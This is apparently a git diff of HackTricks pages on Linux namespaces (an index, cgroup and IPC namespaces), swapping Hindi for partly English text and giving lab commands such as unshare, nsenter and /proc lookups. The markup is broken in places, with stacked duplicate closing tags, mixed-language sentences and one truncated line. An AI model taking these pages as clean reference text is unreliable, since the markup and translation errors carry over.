* **हैकिंग ट्रिक्स साझा करें,** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,77 +1,93 @@
# नेमस्पेस
# Namespaces
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
### **PID नेमस्पेस**
### **PID namespace**
{% content-ref url="pid-namespace.md" %}
[pid-namespace.md](pid-namespace.md)
{% endcontent-ref %}
### **माउंट नेमस्पेस**
### **Mount namespace**
{% content-ref url="mount-namespace.md" %}
[mount-namespace.md](mount-namespace.md)
{% endcontent-ref %}
### **नेटवर्क नेमस्पेस**
### **Network namespace**
{% content-ref url="network-namespace.md" %}
[network-namespace.md](network-namespace.md)
{% endcontent-ref %}
### **IPC नेमस्पेस**
### **IPC Namespace**
{% content-ref url="ipc-namespace.md" %}
[ipc-namespace.md](ipc-namespace.md)
{% endcontent-ref %}
### **UTS नेमस्पेस**
### **UTS namespace**
{% content-ref url="uts-namespace.md" %}
[uts-namespace.md](uts-namespace.md)
{% endcontent-ref %}
### समय नेमस्पेस
### Time Namespace
{% content-ref url="time-namespace.md" %}
[time-namespace.md](time-namespace.md)
{% endcontent-ref %}
### यूजर नेमस्पेस
### User namespace
{% content-ref url="user-namespace.md" %}
[user-namespace.md](user-namespace.md)
{% endcontent-ref %}
### CGroup नेमस्पेस
{% content-ref url="cgroup-namespace.md" %}
[cgroup-namespace.md](cgroup-namespace.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS रेड टीम एक्सपर्ट)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपोज़ में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# CGroup नेमस्पेस
# CGroup Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें!</summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी कंपनी **HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## मूल जानकारी
## Basic Information
CGroup नेमस्पेस एक लिनक्स कर्नेल सुविधा है जो **नेमस्पेस के भीतर चल रहे प्रक्रियाओं के लिए cgroup हाइरार्की का अलगाव प्रदान करती है**। Cgroups, **कंट्रोल ग्रुप्स** के लिए संक्षेप में हैं, एक कर्नेल सुविधा है जो प्रक्रियाओं को व्यवस्थित करने और **सिस्टम संसाधनों पर सीमाएँ लागू करने** की अनुमति देती है जैसे CPU, मेमोरी, और I/O
एक cgroup namespace एक Linux kernel विशेषता है जो **namespace के भीतर चल रहे प्रक्रियाओं के लिए cgroup पदानुक्रम का पृथक्करण प्रदान करती है**। Cgroups, जिसका संक्षिप्त रूप **control groups** है, एक kernel विशेषता है जो प्रक्रियाओं को पदानुक्रमित समूहों में व्यवस्थित करने की अनुमति देती है ताकि **CPU, मेमोरी, और I/O** जैसे सिस्टम संसाधनों पर **सीमाएँ प्रबंधित और लागू की जा सकें**
हालांकि cgroup नेमस्पेस पहले चर्चा की गई अन्य नेमस्पेस प्रकार की तरह अलग नहीं हैं (PID, माउंट, नेटवर्क, आदि), वे नेमस्पेस अलगाव के अवधारणा से संबंधित हैं। **Cgroup नेमस्पेस cgroup हाइरार्की का दृश्यकलीनीकरण करते हैं**, इसका मतलब है कि cgroup नेमस्पेस में चल रही प्रक्रियाएं इस हाइरार्की का एक विभाजन ही देखेंगी, जो निर्माण प्रक्रिया के cgroup पर आधारित है
हालांकि cgroup namespaces अन्य namespace प्रकारों की तरह अलग नहीं हैं (PID, mount, network, आदि), वे namespace पृथक्करण के सिद्धांत से संबंधित हैं। **Cgroup namespaces cgroup पदानुक्रम के दृश्य को वर्चुअलाइज़ करते हैं**, ताकि cgroup namespace के भीतर चल रही प्रक्रियाएँ होस्ट या अन्य namespaces में चल रही प्रक्रियाओं की तुलना में पदानुक्रम का एक अलग दृश्य देख सकें
### काम कैसे करता है:
### How it works:
1. जब एक नया cgroup नेमस्पेस बनाया जाता है, **यह िर्मण करने वाली प्रक्रिया के cgroup के आधार पर cgroup हाइरार्की का दृश्य शुरू होता है**। इसका मतलब है कि नए cgroup नेमस्पेस में चल रही प्रक्रियाएं केवल पूरे cgroup हाइरार्की का एक उपसेट देखेंगी, जो निर्माण करने वाली प्रक्रिया के cgroup के उपवृक्ष पर आधारित है।
2. Cgroup नेमस्पेस के भीतर की प्रक्रियाएं **अपने खुद के cgroup को हाइरार्की का मूल मानेंगी**। इसका मतलब है कि, नेमस्पेस के अंदर से, उनका खुद का cgroup मूल के रूप में प्रकट होता है, और वे अपने उपवृक्ष के बाहर के cgroup को नहीं देख सकते या पहुंच सकते।
3. Cgroup नेमस्पेस सीधे संसाधनों का अलगाव प्रदान नहीं करते; **वे केवल cgroup हाइरार्की के दृश्य का अलगाव प्रदान करते हैं**। **संसाधन नियंत्रण और अलगाव अब भी cgroup** उप-प्रणालियों (जैसे cpu, मेमोरी, आदि) द्वारा प्रवर्तित किए जाते हैं
1. जब एक नया cgroup namespace बनाया जाता है, **यह नाने वाली प्रक्रिया के cgroup के आधार पर cgroup पदानुक्रम का एक दृश्य के साथ शुरू होता है**। इसका मतलब है कि नए cgroup namespace में चल रही प्रक्रियाएँ पूरे cgroup पदानुक्रम का केवल एक उपसमुच्चय देखेंगी, जो बनाने वाली प्रक्रिया के cgroup पर आधारित है।
2. cgroup namespace के भीतर प्रक्रियाएँ **अपने cgroup को पदानुक्रम का मूल के रूप में देखेंगी**। इसका मतलब है कि namespace के भीतर प्रक्रियाओं के दृष्टिकोण से, उनका अपना cgroup मूल के रूप में प्रकट होता है, और वे अपने स्वयं के उपसमुच्चय के बाहर के cgroups को नहीं देख या एक्सेस नहीं कर सकते।
3. Cgroup namespaces सीधे संसाधनों का पृथक्करण प्रदान नहीं करते; **वे केवल cgroup पदानुक्रम दृश्य का पृथक्करण प्रदान करते हैं**। **संसाधन नियंत्रण और पृथक्करण अभी भी cgroup** उपप्रणालियों (जैसे, cpu, memory, आदि) द्वारा लागू किया जाता है
CGroups के बारे में अधिक जानकारी के लिए देखें:
@ -32,48 +33,48 @@ CGroups के बारे में अधिक जानकारी के
[cgroups.md](../cgroups.md)
{% endcontent-ref %}
## लैब:
## Lab:
### विभिन्न नेमस्पेस बनाएं
### Create different Namespaces
#### CLI
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
यदि आप `--mount-proc` पैरामीटर का उपयोग करते हैं और `/proc` फ़ाइल सिस्टम का एक नया इंस्टेंस माउंट करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नेमस्पेस के पास **उस नेमस्पेस के लिए विशिष्ट प्रक्रिया सूचना का सटीक और अलग दृश्य** है।
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **सटीक और अलग दृष्टिकोण उस namespace के लिए विशिष्ट प्रक्रिया जानकारी**.
<details>
<summary>त्रुटि: bash: fork: कोई स्मृति समर्पित नहीं कर सकता</summary>
<summary>त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता</summary>
जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो एक त्रुटि का सामना किया जाता है क्योंकि लिनक्स नए पीआईडी (प्रक्रिया आईडी) नेमस्पेस को कैसे संभालता है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो Linux द्वारा नए PID (Process ID) namespaces को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का स्पष्टीकरण**:
- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नेमस्पेस बनाने की अनुमति देता है। हालांकि, नया पीआईडी नेमस्पेस का निर्माण प्रारंभ करने वाली प्रक्रिया (जिसे "अनशेयर" प्रक्रिया कहा जाता है) नए नेमस्पेस में प्रवेश नहीं करती; केवल इसके बच्चे प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` को `unshare` के साथ ही प्रक्रिया में शुरू किया जाता है। इस परिणामस्वरूप, `/bin/bash` और इसके बच्चे प्रक्रियाएँ मूल पीआईडी नेमस्पेस में होती हैं।
- नए नेमस्पेस में `/bin/bash` की पहली बच्ची प्रक्रिया पीआईडी 1 बन जाती है। जब यह प्रक्रिया बाहर निकलती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नेमस्पेस की सफाई को ट्रिगर करती है, क्योंकि पीआईडी 1 के पास अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। इसके बाद लिनक्स कर्नेल उस नेमस्पेस में पीआईडी का आवंटन अक्षम कर देगा।
1. **समस्या का विवरण**:
- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए namespaces बनाने की अनुमति देता है। हालाँकि, नए PID namespace के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए namespace में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID namespace में होती हैं।
- नए namespace में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह namespace की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना है। Linux कर्नेल फिर उस namespace में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
- नए नेमस्पेस में पीआईडी 1 का बाहर निकलना `PIDNS_HASH_ADDING` ध्वज की सफाई का कारण बनता है। इससे `alloc_pid` फ़ंक्शन एक नई प्रक्रिया बनाते समय नया पीआईडी आवंटित करने में विफल हो जाता है, "कोई स्मृति समर्पित नहीं कर सकता" त्रुटि उत्पन्न करते हैं
- नए namespace में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसके परिणामस्वरूप, नए प्रक्रिया बनाने के समय `alloc_pid` फ़ंक्शन नए PID आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है
3. **समाधान**:
- समस्या को `-f` विकल्प के साथ `unshare` का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए पीआईडी नेमस्पेस बनाने के बाद एक नई प्रक्रिया को फोर्क करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से सुनिश्चित होता है कि `unshare` कमांड खुद ही नए नेमस्पेस में पीआईडी 1 बन जाता है। इस नए नेमस्पेस में `/bin/bash` और इसके बच्चे प्रक्रियाएँ सुरक्षित रूप से समाहित होती हैं, जिससे पीआईडी 1 का पहले से बाहर निकलना रोका जाता है और सामान्य पीआईडी आवंटन की अनुमति दी जाती है
- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID namespace बनाने के बाद एक नई प्रक्रिया बनाने के लिए मजबूर करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए namespace में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए namespace में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं
`unshare` को `-f` ध्वज के साथ चलाने से नया पीआईडी नेमस्पेस सही रूप से बनाए रखा जाता है, जिससे `/bin/bash` और इसके उप-प्रक्रियाएँ स्मृति समर्पण त्रुटि का सामना न करें।
यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID namespace सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
</details>
#### डॉकर
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;जांचें कि आपकी प्रक्रिया किस नेमस्पेस में है
### &#x20;जांचें कि आपका प्रक्रिया किस नामस्थान में है
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
```
### सभी सीग्रुप नेमस्पेस खोजें
### सभी CGroup नामस्थान खोजें
{% code overflow="wrap" %}
```bash
@ -83,8 +84,26 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null
```
{% endcode %}
### एक सीग्रुप नेमस्पेस के अंदर जाए
### CGroup namespace के अंदर प्रवेश करे
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
आप **केवल रूट यदि आप अन्य प्रक्रिया नेमस्पेस में प्रवेश कर सकते हैं**। और आप **उसके बिना अन्य नेमस्पेस में प्रवेश नहीं** कर सकते हैं **जिसका संकेतक** इसे पॉइंट कर रहा हो (जैसे `/proc/self/ns/cgroup`)।
आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में प्रवेश नहीं कर सकते** **बिना एक वर्णनकर्ता** जो इसे इंगित करता है (जैसे `/proc/self/ns/cgroup`)।
## संदर्भ
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,73 @@
# IPC नेमस्पेस
# IPC Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## मूल जानकारी
## Basic Information
IPC (Inter-Process Communication) नेमस्पेस एक लिनक्स कर्नेल सुविधा है जो सिस्टम V IPC ऑब्ज
एक IPC (Inter-Process Communication) नामस्थान एक Linux कर्नेल सुविधा है जो **System V IPC वस्तुओं** जैसे संदेश कतारों, साझा मेमोरी खंडों और सेमाफोर का **अलगाव** प्रदान करती है। यह अलगाव सुनिश्चित करता है कि **विभिन्न IPC नामस्थानों में प्रक्रियाएँ एक-दूसरे की IPC वस्तुओं को सीधे एक्सेस या संशोधित नहीं कर सकतीं**, जो प्रक्रिया समूहों के बीच सुरक्षा और गोपनीयता की एक अतिरिक्त परत प्रदान करता है।
### How it works:
1. जब एक नया IPC नामस्थान बनाया जाता है, तो यह **System V IPC वस्तुओं का एक पूरी तरह से अलग सेट** के साथ शुरू होता है। इसका मतलब है कि नए IPC नामस्थान में चल रही प्रक्रियाएँ डिफ़ॉल्ट रूप से अन्य नामस्थानों या होस्ट सिस्टम में IPC वस्तुओं को एक्सेस या हस्तक्षेप नहीं कर सकतीं।
2. एक नामस्थान के भीतर बनाई गई IPC वस्तुएँ केवल **उस नामस्थान के भीतर की प्रक्रियाओं के लिए दृश्य और सुलभ होती हैं**। प्रत्येक IPC वस्तु को अपने नामस्थान के भीतर एक अद्वितीय कुंजी द्वारा पहचाना जाता है। हालांकि कुंजी विभिन्न नामस्थानों में समान हो सकती है, वस्तुएँ स्वयं अलग हैं और नामस्थानों के बीच एक्सेस नहीं की जा सकतीं।
3. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नामस्थानों के बीच स्थानांतरित हो सकती हैं या `CLONE_NEWIPC` ध्वज के साथ `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नामस्थान बना सकती हैं। जब एक प्रक्रिया नए नामस्थान में जाती है या एक बनाती है, तो यह उस नामस्थान से संबंधित IPC वस्तुओं का उपयोग करना शुरू कर देगी।
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
यदि आप `--mount-proc` पैरामीटर का उपयोग करते हैं तो `/proc` फ़ाइल सिस्टम का एक नया इंस्टेंस माउंट करके, आप सुनिश्चित करते हैं कि नया माउंट नेमस्पेस के पास **उस नेमस्पेस के लिए प्रक्रिया सूचना का सटीक और अलग दृश्य** है।
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **सटीक और अलग दृष्टिकोण उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी**.
<details>
<summary>त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता</summary>
जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि `alloc_pid` फ़ंक्शन नए प्रक्रिया बनाने के दौरान नया PID आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकें।
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;जांचें कि आपकी प्रक्रिया किस नेमस्पेस में है
### &#x20;जांचें कि आपका प्रक्रिया किस नामस्थान में है
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
### सभी IPC नेमस्पेस खोजें
### सभी IPC नामस्थान खोजें
{% code overflow="wrap" %}
```bash
